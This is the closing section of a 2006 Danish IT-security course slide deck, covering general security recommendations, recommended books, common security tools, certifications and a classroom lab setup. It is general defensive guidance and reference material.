- FTP bør kun bruges til anonym FTP
- Intrusion Detection - Snort
- Sudo
- Tripwire, mtree, MD5

Sikkerhedspolitikken er din ”plan” for sikkerheden - og er med til at sikre niveauet er ens

Firewalls hjælper ikke mod alle trusler

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Opsummering afslutning

Husk følgende:

- Husk: IT-sikkerhed er ikke kun netværkssikkerhed!
- Sikkerhed kommer fra langsigtede intiativer
  Vi håber I kan genkende de problemer vi har talt om, og finde information om nye problemer i netværk som bliver kendt
  eksempelvis nye metoder til scanning eller omgåelse af firewalls
- Hvad er informationssikkerhed?
- Data på elektronisk form
- Data på fysisk form
- Social engineering er måske overset - *The Art of Deception: Controlling the Human Element of Security* af Kevin D. Mitnick, William L. Simon, Steve Wozniak

Computer Forensics er reaktion på en hændelse

Informationssikkerhed er en proces

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Anbefalinger generelt

Drop legacy kompatibilitet

Udryd gamle usikre

- protokoller - som SSH version 1
- programmer telnet, FTP, R* - password i klartekst
- services NT LAN manager

VÆK med dem!

Det handler om sikkerhed, det der ikke er aktivt kan ikke misbruges

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Oversigt over anbefalinger

Følg med! - læs websites, bøger, artikler, mailinglister, ...

Vurder altid sikkerhed - skal integreres i processer

Hændelseshåndtering - du vil komme ud for sikkerhedshændelser

Lav en sikkerhedspolitik - herunder software og e-mail politik

Hver måned offentliggøres ca. 100 nye sårbarheder i produkter - software/hardware

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Følg med! - mange kilder

websites prøv at kigge både på officielle/kommercielle websites - men også indimellem på *de små gyder* på Internet

bøger der er en god liste over *MUST READ* sikkerhedsbøger på adressen http://sun.soci.niu.edu/~rslade/mnbksccd.htm

artikler mange steder, men eksempelvis
`http://www.securityfocus.com`

mailinglister leverandør ejede lister og generelle - som bugtraq og full-disclosure

personer der findes personer på Internet som er værd at holde øje med. Eksempelvis: Bruce Schneiers nyhedsbrev crypto-gram
`http://www.counterpane.com/crypto-gram.html`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Spørgsmål?

Henrik Lund Kramshøj
hlk@security6.net

http://www.security6.net

I er altid velkomne til at sende spørgsmål på e-mail

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Reklamer: kursusafholdelse

Security6.net

Følgende kurser afholdes med mig som underviser

- IPv6 workshop - 1 dag
  Introduktion til Internetprotokollerne og forberedelse til implementering i egne netværk.
- Wireless teknologier og sikkerhed workshop - 1-2 dage
  En dag med fokus på netværksdesign og fornuftig implementation af trådløse netværk, samt integration med hjemmepc og wirksomhedsnetværk.
- Hacker workshop 2 dage
  Workshop med detaljeret gennemgang af hackermetoderne angreb over netværk, exploitprogrammer, portscanning, Nessus m.fl.
- Forensics workshop 2 dage
  Med fokus på tilgængelige open source værktøjer gennemgås metoder og praksis af undersøgelse af diskimages og spor på computer systemer
- Moderne Firewalls og Internetsikkerhed 2 dage
  Informere om trusler og aktivitet på Internet, samt give et bud på hvorledes en avanceret moderne firewall idag kunne konfigureres.

Se mere på `http://www.security6.net/courses.html`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Network Security Tools

Network Security Tools : Writing, Hacking, and Modifying Security Tools Nitesh Dhanjani, Justin Clarke, O'Reilly 2005, ISBN: 0596007949

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Mastering FreeBSD and OpenBSD Security Yanek Korff, Paco Hope, Bruce Potter, O'Reilly, 2005, ISBN: 0596006268

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hackers Challenge

Hacker's Challenge : Test Your Incident Response Skills Using 20 Scenarios af Mike Schiffman McGraw-Hill Osborne Media; (October 18, 2001) ISBN: 0072193840

Hacker's Challenge II : Test Your Network Security and Forensics Skills af Mike Schiffman McGraw-Hill Osborne Media, 2003 ISBN: 0072226307

Bogen indeholder scenarier i første halvdel, og løsninger i anden halvdel - med fokus på relevante logfiler og sårbarheder

Hackers challenge nr 3 udkommer i 2006

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Network Security Assessment

Network Security Assessment Know Your Network af Chris McNab, O'Reilly Marts 2004 ISBN: 0-596-00611-X

Bogen er anbefalelsesværdig

Der kan hentes kapitel 4 som PDF - *IP Network Scanning*

Counter Hack

Counter Hack: A Step-by-Step Guide to Computer Attacks and Effective Defenses, Ed Skoudis, Prentice Hall PTR, 1st edition July 2001

Bogen er anbefalelsesværdig og er kommet i anden udgave

Minder mig om et universitetskursus i opbygningen

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hackerværktøjer

- nmap - http://www.insecure.org portscanner
- Nessus - http://www.nessus.org automatiseret testværktøj
- l0phtcrack - http://www.atstake.com/research/lc/ - The Password Auditing and Recovery Application, kig også på Cain og Abel fra http://oxid.it hvis det skal være gratis
- Wireshark - http://www.wireshark.org avanceret netværkssniffer
- OpenBSD - http://www.openbsd.org operativsystem med fokus på sikkerhed
- http://www.isecom.org/ - Open Source Security Testing Methodology Manual - gennemgang af elementer der bør indgå i en struktureret test
- Putty - http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

  terminal emulator med indbygget SSH
- http://www.remote-exploit.org - Backtrack security collection - en boot CD med hackerværktøjer

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Referencer

Anbefalede bøger:

- *Computer Forensics: Incident Response Essentials*, Warren G. Kruse II og Jay G. Heiser, Addison-Wesley, 2002.
- *Incident Response*, E. Eugene Schultz og Russel Shumway, New Riders, 2002
- *CISSP All-in-One Certification Exam Guide*, Shon Harris McGraw-Hill/Osborne, 2002
- *Network Intrusion Detection*, Stephen Northcutt og Judy Novak, New Riders, 2nd edition, 2001
- *Intrusion Signatures and Analysis*, Stephen Northcutt et al, New Riders, 2001
- *Practical UNIX and Internet Security*, Simson Garfinkel og Gene Spafford, 2nd edition
- *Firewalls and Internet Security*, Cheswick, Bellovin og Rubin, Addison-Wesley, 2nd edition, 2003
- *Hacking Exposed*, Scambray et al, 4th edition, Osborne, 2003 - tror der er en nyere
- *Building Open Source Network Security Tools*, Mike D. Schiffman, Wiley 2003
- *Gray Hat Hacking : The Ethical Hacker's Handbook* Shon Harris, Allen Harper, Chris Eagle, Jonathan Ness, Michael Lester, McGraw-Hill Osborne Media 2004, ISBN: 0072257091

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Referencer

Internet

- http://www.project.honeynet.org - diverse honeynet projekter information om pakker og IP netværk. Har flere forensics challenges hvor man kan hente images og foretage sin egen analyse
- http://www.packetfactory.net - diverse projekter relateret til pakker og IP netværk eksempelvis libnet
- http://www.isecom.org/ - Open Source Security Testing Methodology Manual - Hvordan laver man struktureret test!

Mailinglists

- securityfocus m.fl. - de fleste producenter og væktøjer har mailinglister tilknyttet

Papers - der findes MANGE dokumenter på Internet

- *Security Problems in the TCP/IP Protocol Suite*, S.M. Bellovin, 1989 og fremefter

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Packet factory projects

- Projects (udvalgte):
- firewalk [gateway ACL scanner]
- firestorm (in development) [next generation scanner]
- ISIC [IP stack integrity checker]
- libnet [network packet assembly/injection library]
- libradiate [802.11b frame assembly/injection library]
- nemesis [command line IP stack]
- ngrep [GNU grep for the network]
- packit [tool to monitor, and inject customized IPv4 traffic]
- Billede og information fra `http://www.packetfactory.net`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

CISSP fra ISC2

Security .net

(ISC)2SM (CISSP)® (SSCP)CM

Approved marks of the International Information Systems Security Certification Consortium, Inc.

Primære website: http://www.isc2.org

Vigtigt link http://www.cccure.org/

Den kræver mindst 3 års erfaring indenfor et relevant fagområde

Multiple choice 6 timer 250 spørgsmål - kan tages i Danmark

© copyright 2006 Security6.net, Henrik Lund Kramshøj

GIAC GSEC krav

Security Essentials - basal sikkerhed

Krav om en *Practical assignment* - mindst 8 sider, 15 sider i gennemsnit

multiple choice eksamen

Primære website: http://www.giac.org

Reading room: http://www.sans.org/rr/

Der findes en god oversigt i filen *GIAC Certification: Objectives and Curriculum*
http://www.giac.org/overview/brief.pdf

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hostoplysninger

I bedes registrere IP-adresserne for maskinerne

Filer til installation - installationsprogrammer:
http:// . . . /public/windows/

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Vores targets

IP: . . . - IOS router

IP: . . . - Windows 2000

IP: . . . - Linux

IP: . . . - Stitch OpenBSD

IP: . . . - Fiona OpenBSD scanserver

IP: . . . - Din egen arbejdsstation - Windows

Fiona kursus login brugernavne: kursus1, kursus2, ... kursus10 kodeord: `kursus` - uanset brugernavn

Skift til root med: `sudo -s`

© copyright 2006 Security6.net, Henrik Lund Kramshøj